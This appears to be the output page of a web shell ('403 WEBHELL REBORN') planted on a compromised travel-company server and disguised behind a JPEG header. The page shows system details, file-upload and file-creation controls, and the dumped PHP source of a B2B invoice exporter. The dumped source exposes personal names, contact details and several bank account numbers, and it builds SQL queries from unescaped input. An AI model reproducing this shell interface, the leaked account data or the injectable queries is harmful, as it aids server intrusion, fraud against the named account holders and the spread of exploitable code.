ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/cal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/cal/b2b_month_tk_excel.html
<?php
include "../include/top_proc.html";

$agentID = $agent_id;

if(!$agentID){
    echo "<script>alert('agentID가 없습니다.');</script>";
    exit;
}

// 엑셀 파일명 설정
$FileName = "B2B_INVOICE";
$FileName = $FileName."_".Date("Ymd").".xls";
$FileName = urlencode($FileName); // UTF-8


$sql = "SELECT g_uid, b_uid, m_uid, s_uid FROM good";
$goodRes = db_query($sql);

$goodInfoList = array();

while($row = db_fetch_array($goodRes)){
    $goodInfoList[$row['g_uid']] = $row;
}

header("Content-Type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=$FileName");
header("Content-Description: PHP4 Generated Data" );



$tk_info = array(
    'name'		=> 'TK트래블',
    'addr'		=> '서울시 동대문구 신이문로39 명경빌딩 5층',
    'tel'			=> '02-6298-8000',
    'ceo'			=> '강일구 대표',
    'bank'		=> '국민은행',
    'account'	=> '99919-107950',
    'holder'		=> '강일구(TKTRAVEL)'
);

if($agent_row['bz_avnk_cd']){
    $bank_code = base_codec("ACC","AVNK", $agent_row['bz_avnk_cd']);
    $bank_name = $bank_code[0]['cd_nm'];
}

// 회원 여부 체크
$query = "select * from TB_MEMBER where mb_id ='{$agentID}' and del_flag='N' and mb_level <= ".$cf['trade_level'];
$result = db_query( $query );
$agent_row = db_fetch_array( $result );
if( !$agent_row ){
    error('올바르지 않은 아이디입니다.', '0003');
}

$bz_nat = $agent_row['bz_nat'];

$agent_info = array(
    'name'		=> $agent_row['bz_corp_nm'],
    'addr'		=> $agent_row['mb_address1'].'<br>'.$agent_row['mb_address2'],
    'tel'			=> $agent_row['mb_phone'],
    'ceo'			=> $agent_row['mb_nm'],
    'bank'		=> $bank_name,
    'account'	=> $agent_row['bz_avnk_number'],
    'holder'		=> $agent_row['bz_avnk_owner'],
    'bz_nat'		=> $agent_row['bz_nat']
);


include $_SERVER['DOCUMENT_ROOT'].'/toadmin/cal/b2b_excel_trans_word.php';

if(!isset($_GET['dateterm'])){
    if($period_yy == ""){
        $period_yy = date('Y');
    }

    if($period_mm == ""){
        $period_mm = date('m');
    }
}else{
    $periodEx = explode("-",$_GET['dateterm']);

    $period_yy = $periodEx[0];
    $period_mm = $periodEx[1];
}


$period = $period_yy . "-" . $period_mm;

//p($period);
//exit;

$monthLastDay = date('t', strtotime($period));

//p($monthLastDay);

// 관리자
//$admin_arr = member_fetch(" and mb_level <= 10 and del_flag='N' ");

$agent_list = member_fetch(" and mb_id='{$agent_id}' ");


//p($agent_list);

$agentList = array();
foreach($agent_list as $item){
    $agentList[$item['mb_id']] = $item['bz_corp_nm'];
}

//$data_agent = array();

$agentSellList = array();

foreach($agent_list as $item){

    $agentSellList[$item['mb_id']]['mb_id'] = $item['mb_id'];
    $agentSellList[$item['mb_id']]['name'] = $item['bz_corp_nm'];
    $agentSellList[$item['mb_id']]['bz_nat'] = $item['bz_nat'];

//    $agentSellList[$item['mb_id']]['T'] = array('cnt' => 0, 'amount' => 0); //Ticket Pass
//    $agentSellList[$item['mb_id']]['D'] = array('cnt' => 0, 'amount' => 0); //Day Tour
//    $agentSellList[$item['mb_id']]['P'] = array('cnt' => 0, 'amount' => 0); //Bus Tour
//    $agentSellList[$item['mb_id']]['L'] = array('cnt' => 0, 'amount' => 0); //Hotel
//    $agentSellList[$item['mb_id']]['S'] = array('cnt' => 0, 'amount' => 0); //Pickup
//    $agentSellList[$item['mb_id']]['R'] = array('cnt' => 0, 'amount' => 0); //Rentcar
//    $agentSellList[$item['mb_id']]['V'] = array('cnt' => 0, 'amount' => 0); //Live Tour
    $agentSellList[$item['mb_id']] = array('totalCnt' => 0, 'totalAmount' => 0); //total
}

$start_ym = $period_yy.'-'.$period_mm;
$end_ym = $period_yy.'-'.$period_mm;
$res_data = TO_get_reserv_data_b2b($start_ym, $end_ym);



$resData = array();

foreach($res_data as $item) {

    if($agentID == 'tktravel'){
        if($item['agent_id'] == '' || $item['agent_id'] == 'tk'){
            array_push($resData, $item);
        }
    }else{
        if($item['agent_id'] == $agentID){
            array_push($resData, $item);
        }
    }

}

$resDataArr = array();

$ccc = 0;
foreach($resData as $item){

    $item['personAdult'] = (int) $item['personAdult'];
    $item['personChild'] = (int) $item['personChild'];
    $item['personBaby'] = (int) $item['personBaby'];

//    $item['b_uid'] = $goodInfoList[$item['g_uid']]['b_uid'];

    //gdt_pe_daesu

//    p($item['gdt_pe_daesu']);

    //공항픽업 영역
//    $enAirportTransfer = 127;
//    $hkAirportTransfer = 143;
//    $cnAirportTransfer = 135;


    //버스렌트 영역
//    $enCarRental = 130;
//    $hkCarRental = 124;
//    $cnCarRental = 138;



    if(isset($resDataArr[$item['res_no']])){
        $resDataArr[$item['res_no']]['adultCnt'] += $item['personAdult'];
        $resDataArr[$item['res_no']]['childCnt'] += $item['personChild'];
        $resDataArr[$item['res_no']]['babyCnt'] += $item['personBaby'];






    }else{
        $resDataArr[$item['res_no']] = array();
        $resDataArr[$item['res_no']]['g_title'] = $item['g_title'];
        $resDataArr[$item['res_no']]['start_date'] = $item['start_date'];

        if($agentID == 'tktravel'){
            $resDataArr[$item['res_no']]['adultUnitPrice'] = $item['adult_price'];
            $resDataArr[$item['res_no']]['childUnitPrice'] = $item['child_price'];
            $resDataArr[$item['res_no']]['babyUnitPrice'] = $item['baby_price'];
        }else{
            $resDataArr[$item['res_no']]['adultUnitPrice'] = $item['adult_agent'];
            $resDataArr[$item['res_no']]['childUnitPrice'] = $item['child_agent'];
            $resDataArr[$item['res_no']]['babyUnitPrice'] = $item['baby_agent'];
        }

        /*if($item['gdt_pe_daesu'] > 0){
            $resDataArr[$item['res_no']]['adultCnt'] = (int) $item['gdt_pe_daesu'];
        }else{
            $resDataArr[$item['res_no']]['adultCnt'] = $item['personAdult'];
        }*/


        if($goodInfoList[$item['g_uid']]['b_uid'] == 127 || $goodInfoList[$item['g_uid']]['b_uid'] == 143 || $goodInfoList[$item['g_uid']]['b_uid'] == 135 || $goodInfoList[$item['g_uid']]['b_uid'] ==  130 || $goodInfoList[$item['g_uid']]['b_uid'] == 124 || $goodInfoList[$item['g_uid']]['b_uid'] == 138){

            if($item['gdt_pe_daesu'] > 0){
                $resDataArr[$item['res_no']]['adultCnt'] = (int) $item['gdt_pe_daesu'];
            }else{
                $resDataArr[$item['res_no']]['adultCnt'] = $item['personAdult'];
            }

        }else{
            $resDataArr[$item['res_no']]['adultCnt'] = $item['personAdult'];
        }

        $resDataArr[$item['res_no']]['childCnt'] = $item['personChild'];
        $resDataArr[$item['res_no']]['babyCnt'] = $item['personBaby'];




        //옵션정보
        if($item['res_no']){
            $resOptionData = getResOption($item['res_no']);

            if(count($resOptionData) > 0){

                foreach($resOptionData as $opItem){
                    if($opItem['op_num'] > 0){

                        $opPriceAgent = (int) $opItem['op_price_agent'];
                        $opNum = (int) $opItem['op_num'];
                        $opNm = $opItem['op_nm'];

                        if($opPriceAgent == 0 || $opNum == 0){
                            continue;
                        }

                        $opTotal = $opNum * $opPriceAgent;

                        $ccc += $opTotal;

                        $resDataArr[$item['res_no']]['optionData'][] = array('opNum' => $opNum, 'opPriceAgent' => $opPriceAgent, 'opNm' => $opNm, 'opTotal' => $opTotal);
                    }
                }
            }
        }

    }
}


//p($ccc);

$resData = $resDataArr;

//p(count($resData));

$calStartDate = $period_yy.'.'.$period_mm.'.01';
$calEndDate = $period_yy.'.'.$period_mm.'.'.$monthLastDay;

$firstRowsCnt = 2;
$grandTotalPrice = 0;
//총금액
foreach($resData as $item) {
    //어덜트영역
    if ($item['adultCnt'] > 0) {
        $grandTotalPrice += ($item['adultUnitPrice'] * $item['adultCnt']);
        $firstRowsCnt += 1;
    }
    if ($item['childCnt'] > 0) {
        $grandTotalPrice += ($item['childUnitPrice'] * $item['childCnt']);
        $firstRowsCnt += 1;
    }
    if ($item['babyCnt'] > 0) {
        $grandTotalPrice += ($item['babyUnitPrice'] * $item['babyCnt']);
        $firstRowsCnt += 1;
    }


    if(count($item['optionData']) > 0){

        foreach($item['optionData'] as $optionItem){
//            p($optionItem);
//            p($optionItem['opTotal']);
            $grandTotalPrice += $optionItem['opTotal'];
        }
    }

//    p(count($item['optionData']));
    $firstRowsCnt += count($item['optionData']);
}

$currency = "";
$transWordKey = "";


switch($agent_info['bz_nat']) {
    case 'KO':
        $currency = 'KRW';
        $transWordKey = "KO";
        break;
    case 'HK':
        $currency = 'HKD';
        $transWordKey = "HK";
        break;
    case 'SG':
        $currency = 'SGD';
        $transWordKey = "EN";
        break;
    case 'TW':
        $currency = 'TWD';
        $transWordKey = "HK";
        break;
    case 'MY':
        $currency = 'MYR';
        $transWordKey = "EN";
        break;
    case 'US':
        $currency = 'USD';
        $transWordKey = "EN";
        break;
    case 'PH':
        $currency = 'PHP';
        $transWordKey = "EN";
        break;
    case 'CN':
        $currency = 'CNY';
        $transWordKey = "CN";
        break;
    case 'TA':
        $currency = 'THB';
        $transWordKey = "EN";
        break;
}
$bankInfo = $TO_CF;


function getResOption($resNo){
    $sql = "SELECT * FROM TB_RES_GOOD_OPTION WHERE res_no = '{$resNo}'";
    $res = db_query($sql);

    $resturnData = array();
    while($row = db_fetch_array($res)){
        array_push($resturnData, $row);
    }
    return $resturnData;
}

// 은행정보
$shop_bank_arr = explode("||",$bankInfo['shop_bank']);
foreach($shop_bank_arr as $v){
    $bank_arr = explode("^",$v);
    if($bank_arr[0]) {
        $bankInfo['shop_bank_all'][] = array(
            'shop_bank_name'	=> $bank_arr[0],
            'shop_bank_number'		=> $bank_arr[1]
        );
    }
}

$shop_bank_lang_arr = explode("||",$bankInfo['shop_bank_lang']);
foreach($shop_bank_lang_arr as $v){
    $bank_arr = explode("^",$v);
    if($bank_arr[0]) {
        $bankInfo['shop_bank_all_lang'][] = array(
            'shop_bank_name'	=> $bank_arr[0],
            'shop_bank_number'		=> $bank_arr[1]
        );
    }
}


//p($bankInfo['shop_bank_all_lang']);


$krwAccount = array();
$usdAccount = array();
$twdAccount = array();
$hkdAccount = array();

$accountHolder = "KANG ILGOO";
foreach($bankInfo['shop_bank_all_lang'] as $item){
//    p($item['BankName']);

    if(strpos($item['shop_bank_name'], 'HSBC') !== false){
        continue;
    }

    if(strpos($item['shop_bank_name'], 'HKD') !== false){
        $bankName = explode("|", $item['shop_bank_name']);
        $bankName = trim($bankName[1]);
        $bankAccountNumber = $item['shop_bank_number'];

        $hkdAccount['bankName'] = $bankName;
        $hkdAccount['bankAccountNumber'] = $bankAccountNumber;
        $hkdAccount['holder'] = $accountHolder;
    }

    if(strpos($item['shop_bank_name'], 'TWD') !== false){
        $bankName = explode("|", $item['shop_bank_name']);
        $bankName = trim($bankName[1]);
        $bankAccountNumber = $item['shop_bank_number'];

        $twdAccount['bankName'] = $bankName;
        $twdAccount['bankAccountNumber'] = $bankAccountNumber;
        $twdAccount['holder'] = $accountHolder;
    }

    if(strpos($item['shop_bank_name'], 'USD') !== false){
        $bankName = explode("|", $item['shop_bank_name']);
        $bankName = trim($bankName[1]);
        $bankAccountNumber = $item['shop_bank_number'];

        $usdAccount['bankName'] = $bankName;
        $usdAccount['bankAccountNumber'] = $bankAccountNumber;
        $usdAccount['holder'] = $accountHolder;
    }

    if(strpos($item['shop_bank_name'], 'KRW') !== false){
        $bankName = explode("|", $item['shop_bank_name']);
        $bankName = trim($bankName[1]);
        $bankAccountNumber = $item['shop_bank_number'];

        $krwAccount['bankName'] = $bankName;
        $krwAccount['bankAccountNumber'] = $bankAccountNumber;
        $krwAccount['holder'] = $accountHolder;
    }

}

$bankAccountInfo = array('USD' => $usdAccount,'TWD' => $twdAccount,'HKD' => $hkdAccount);

//p($resData);
//exit;


/*$imgWidth = 815;
if($agentID == 'egl' || $agentID == 'trends'){
    $imgWidth = 760;
}*/

$imgWidth = 760;
?>

<html xmlns:o="urn:schemas-microsoft-com:office:office"
      xmlns:x="urn:schemas-microsoft-com:office:excel"
      xmlns="http://www.w3.org/TR/REC-html40">
<head>
    <meta http-equiv=Content-Type content="text/html; charset=utf-8">
    <meta name=ProgId content=Excel.Sheet>
    <meta name=Generator content="Microsoft Excel 10">
    <style>
        <!--
        table
        {mso-displayed-decimal-separator:"\.";
            mso-displayed-thousand-separator:"\,";}
        @page
        {margin:1.0in .75in 1.0in .75in;
            mso-header-margin:.5in;
            mso-footer-margin:.5in;}
        -->
    </style>
    <!--[if gte mso 9]><xml>
        <x:ExcelWorkbook>
            <x:ExcelWorksheets>
                <x:ExcelWorksheet>
                    <x:Name>Sheet1</x:Name>
                    <x:WorksheetOptions>
                        <x:Print>
                            <x:ValidPrinterInfo/>
                        </x:Print>
                        <x:Selected/>
                    </x:WorksheetOptions>
                </x:ExcelWorksheet>
            </x:ExcelWorksheets>
        </x:ExcelWorkbook>
    </xml><![endif]-->
    <meta http-equiv=Content-Language content=ko>
</head>

<body>

<table>
    <tr height="170" rowspan="2">
        <td><!-- start -->


            <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1">
                <tr>
                    <td colspan="10" style="text-align:center" align="center">
                        <h1><img width="<?=$imgWidth?>" height="" align="center"  src="http://tourboss.co.kr/toadmin/TCPDF/erp/images/b2b_month_top.jpg" /></h1>
                    </td>
                </tr>
            </table>



        </td><!-- end -->
    </tr>

    <tr>
        <td><!-- start -->


            <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1">
                <tr bgcolor="#000000">
                    <td colspan="10" style="text-align:center;color:#fff">
                        <?=$word['invoice'][$transWordKey]?>
                    </td>
                </tr>

                <tr>
                    <td rowspan="3" bgcolor="#000000" style="color:#fff" align="center"><?=$word['nameofenterprise'][$transWordKey]?></td>

                    <td bgcolor="#cccccc" colspan="2" align="center"><?=$word['salesunit'][$transWordKey]?></td>
                    <td><?=$agent_info['name']?></td>
                    <td colspan="3" align="center" bgcolor="#cccccc"><?=$word['companyaddress'][$transWordKey]?></td>
                    <td colspan="3"><?=$agent_info['addr']?></td>
                </tr>


                <tr>
                    <td bgcolor="#cccccc" colspan="2" align="center"><?=$word['personincharge'][$transWordKey]?></td>
                    <td><?=$agent_info['ceo']?></td>
                    <td rowspan="2" colspan="2" bgcolor="#cccccc" align="center"><?=$word['contactnumber'][$transWordKey]?></td>
                    <td bgcolor="#cccccc" align="center"><?=$word['telno'][$transWordKey]?></td>
                    <td colspan="3" align="left"><?=$agent_info['tel']?></td>
                </tr>


                <tr>
                    <td bgcolor="#cccccc" colspan="2" align="center"><?=$word['email'][$transWordKey]?></td>
                    <td><!--tktraveldeveloper@icloud.com--></td>
                    <td bgcolor="#cccccc" align="center">Mobile</td>
                    <td colspan="3"><!--01021330111--></td>
                </tr>
            </table>



        </td><!-- end -->
    </tr>

    <tr height="20">
        <td><!-- space start -->

        </td><!-- space end -->
    </tr>

    <tr>
        <td><!-- start -->
            <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1">
                <tr>
                    <td bgcolor="#ff1493" colspan="3" align="center" style="color:#ffffff"><?=$word['totalamount'][$transWordKey]?>(<?=$currency?>)</td>
                    <td align="center"></td>
                    <td colspan="3" bgcolor="#ff1493" align="center" style="color:#ffffff"><?=$word['totalamount'][$transWordKey]?>(KRW)</td>
                    <td colspan="3"><?=number_format($grandTotalPrice)?></td>
                </tr>


                <tr>
                    <?php
                    if($period_mm == '01'){
                        $period_mm = 1;
                    }else if($period_mm == '02'){
                        $period_mm = 2;
                    }else if($period_mm == '03'){
                        $period_mm = 3;
                    }else if($period_mm == '04'){
                        $period_mm = 4;
                    }else if($period_mm == '05'){
                        $period_mm = 5;
                    }else if($period_mm == '06'){
                        $period_mm = 6;
                    }else if($period_mm == '07'){
                        $period_mm = 7;
                    }else if($period_mm == '08'){
                        $period_mm = 8;
                    }else if($period_mm == '09'){
                        $period_mm = 9;
                    }
                    ?>




                    <td rowspan="2" colspan="3" bgcolor="#000000" style="color:#ffffff" align="center"><?=$word['traffickingperiod'][$transWordKey]?> (<?=$period_mm?>月)</td>
                    <td bgcolor="#cccccc" align="center"><?=$word['startdate'][$transWordKey]?> ~ <?=$word['enddate'][$transWordKey]?></td>
                    <td bgcolor="#000000" style="color:#ffffff"  align="center" colspan="3"rowspan="2"><?=$word['requesterinformation'][$transWordKey]?></td>
                    <td bgcolor="#cccccc" align="center"><?=$word['responsibleforbusiness'][$transWordKey]?></td>
                    <td colspan="2" bgcolor="#cccccc" align="center"><?=$word['date'][$transWordKey]?></td>
                </tr>


                <tr>
                    <td align="center"><?=$calStartDate?> ~ <?=$calEndDate?></td>
                    <td></td>
                    <td colspan="2"></td>
                </tr>

            </table>
        </td><!-- end -->
    </tr>

    <tr height="20">
        <td><!-- space start -->

        </td><!-- space end -->
    </tr>
    <tr>
        <td><!-- start -->


            <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1">
                <tr height="35">
                    <th align="center" bgcolor="#000000" style="color:#ffffff" rowspan="<?=$firstRowsCnt?>"><?=$word['productdescription'][$transWordKey]?></th>
                    <th align="center" bgcolor="#E7E7E7"><?=$word['no'][$transWordKey]?></th>
                    <th align="center" bgcolor="#E7E7E7"><?=$word['date2'][$transWordKey]?></th>
                    <th align="center" bgcolor="#E7E7E7"><?=$word['itemdescription'][$transWordKey]?></th>
                    <th align="center" bgcolor="#E7E7E7"><?=$word['qty'][$transWordKey]?></th>
                    <th align="center" bgcolor="#E7E7E7"><?=$word['division'][$transWordKey]?></th>
                    <th align="center" bgcolor="#E7E7E7"><?=$word['unitprice'][$transWordKey]?></th>
                    <th align="center" bgcolor="#E7E7E7"><?=$word['total'][$transWordKey]?></th>
                    <th align="center" bgcolor="#E7E7E7"></th><?php //추가옵션 ?>
                    <th align="center" bgcolor="#E7E7E7"><?=$word['remark'][$transWordKey]?></th>
                </tr>
                <?php

                $no = 1;

                $grandTotalCnt = 0;
                $grandTotalPrice = 0;

                foreach($resData as $item){
//                    p($item);


                    //어덜트영역
                    if($item['adultCnt'] > 0) {
                        $grandTotalPrice += ($item['adultUnitPrice'] * $item['adultCnt']);
                        $grandTotalCnt += $item['adultCnt'];
                        ?>

                        <tr>

                            <td align="center"><?=$no?></td>
                            <td align="center"><?=$item['start_date']?></td>
                            <td align="left"><?=$item['g_title']?></td>
                            <td align="center"><?=$item['adultCnt']?></td>
                            <td align="center"><?=$word['adult'][$transWordKey]?></td>
                            <td align="right"><?=number_format($item['adultUnitPrice'])?></td>
                            <td align="right"><?=number_format($item['adultUnitPrice'] * $item['adultCnt'])?></td>
                            <td align="center"></td>
                            <td align="center"></td>
                        </tr>
                        <?php
                        $no++;
                    }

                    //차일드영역
                    if($item['childCnt'] > 0) {
                        $grandTotalPrice += ($item['childUnitPrice'] * $item['childCnt']);
                        $grandTotalCnt += $item['childCnt'];
                        ?>

                        <tr>

                            <td align="center"><?=$no?></td>
                            <td align="center"><?=$item['start_date']?></td>
                            <td align="left"><?=$item['g_title']?></td>
                            <td align="center"><?=$item['childCnt']?></td>
                            <td align="center"><?=$word['child'][$transWordKey]?></td>
                            <td align="right"><?=number_format($item['childUnitPrice'])?></td>
                            <td align="right"><?=number_format($item['childUnitPrice'] * $item['childCnt'])?></td>
                            <td align="center"></td>
                            <td align="center"></td>
                        </tr>
                        <?php
                        $no++;
                    }

                    //베이비영역
                    if($item['babyCnt'] > 0) {
                        $grandTotalPrice += ($item['babyUnitPrice'] * $item['babyCnt']);
                        $grandTotalCnt += $item['babyCnt'];
                        ?>

                        <tr>

                            <td align="center"><?=$no?></td>
                            <td align="center"><?=$item['start_date']?></td>
                            <td align="left"><?=$item['g_title']?></td>
                            <td align="center"><?=$item['babyCnt']?></td>
                            <td align="center"><?=$word['baby'][$transWordKey]?></td>
                            <td align="right"><?=number_format($item['babyUnitPrice'])?></td>
                            <td align="right"><?=number_format($item['babyUnitPrice'] * $item['babyCnt'])?></td>
                            <td align="center"></td>
                            <td align="center"></td>
                        </tr>
                        <?php
                        $no++;
                    }

                    ?>

                    <?php
                    //옵션 영역
                    if(count($item['optionData']) > 0) {
                        foreach($item['optionData'] as $optionList){
                            $grandTotalPrice += (int) $optionList['opTotal'];
                            $grandTotalCnt += (int) $item['opNum'];
                            ?>
                            <tr>
                                <td align="center"><?=$no?></td>
                                <td align="center"><?=$item['start_date']?></td>
                                <td align="left"><?=$optionList['opNm']?></td>
                                <td align="center"><?=$optionList['opNum']?></td>
                                <td align="center"><?=$word['adult'][$transWordKey]?></td>
                                <td align="right"><?=number_format($optionList['opPriceAgent'])?></td>
                                <td align="right"><?=number_format($optionList['opTotal'])?></td>
                                <td align="center"></td>
                                <td align="center"></td>
                            </tr>

                            <?php
                            $no++;
                        }

                    }

                    ?>
                    <?php

                }
                ?>

                <tr>
                    <td></td>
                    <td bgcolor="yellow" colspan="2" align="center"><?=$word['total'][$transWordKey]?></td>
                    <td bgcolor="yellow" style="text-align:center"><?=number_format($grandTotalCnt)?></td>
                    <td bgcolor="yellow"></td>
                    <td bgcolor="yellow"></td>
                    <td bgcolor="yellow" align="right" class="total"><?=number_format($grandTotalPrice)?></td>
                    <td bgcolor="yellow"></td>
                    <td bgcolor="yellow"></td>
                </tr>

            </table>




        </td><!-- end -->
    </tr>

    <tr height="20">
        <td><!-- space start -->

        </td><!-- space end -->
    </tr>

    <tr>
        <td><!-- start -->



            <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1">
                <tr>
                    <td bgcolor="#000000" rowspan="3" style="color:#ffffff" >
                        <?=$word['transferinformation'][$transWordKey]?>
                    </td>
                    <td bgcolor="#cccccc" colspan="2" align="center">
                        USD
                    </td>
                    <td bgcolor="#f7f7f7" colspan="7">
                        Bnak Name : Kookmin Bank<br>
                        Name : KANG ILGOO / 강일구(TKTRAVEL)<br>
                        Account No : 011268-11-004789<br>
                        SWIFT CODE : CZNBKRSEXXX<br>
                        Bank Address : 53, Chungjeong-ro, Seodaemun-gu, Seoul, Republic of Korea

                    </td>
                </tr>
                <tr>
                    <td bgcolor="#cccccc" colspan="2" align="center">
                        TWD
                    </td>
                    <td bgcolor="#f7f7f7" colspan="7">
                        Bnak Name : 台北富邦銀行 敦和分行帳號<br>
                        Name : KANG ILGOO<br>
                        Account No : 00570168100605
                    </td>
                </tr>
                <tr>
                    <td bgcolor="#cccccc" colspan="2" align="center">
                        HKD
                    </td>
                    <td bgcolor="#f7f7f7" colspan="7">
                        Bank Name:Bank of China (HK)<br>
                        Bank Code:012<br>
                        Bank Account:680-1-015791-9<br>
                        Bank Holder:KANG ILGOO<br>
                    </td>
                </tr>
            </table>




        </td><!-- end -->
    </tr>

    <tr height="20">
        <td><!-- space start -->

        </td><!-- space end -->
    </tr>
    <tr>
        <td><!-- start -->





            <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1">
                <tr>
                    <td colspan="10" align="center" bgcolor="#000000" style="color:#ffffff"><?=$word['depositdeadline'][$transWordKey]?></td>
                </tr>
                <tr>
                    <td colspan="3" bgcolor="#cccccc" align="center"><?=$word['remark'][$transWordKey]?></td>
                    <td colspan="7"></td>
                </tr>
            </table>


        </td><!-- end -->
    </tr>
    <tr>
        <td><!-- space start -->

        </td><!-- space end -->
    </tr>

    <tr height="100">
        <td><!-- start -->


            <table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1">
                <tr>
                    <td colspan="10" style="text-align:center" align="center">
                        <h1><img width="<?=$imgWidth?>" height="" align="center"  src="http://tourboss.co.kr/toadmin/TCPDF/erp/images/b2b_month_bottom.jpg" /></h1>
                    </td>
                </tr>
            </table>




        </td><!-- end -->
    </tr>
</table>
</body>
</html>

Anon7 - 2021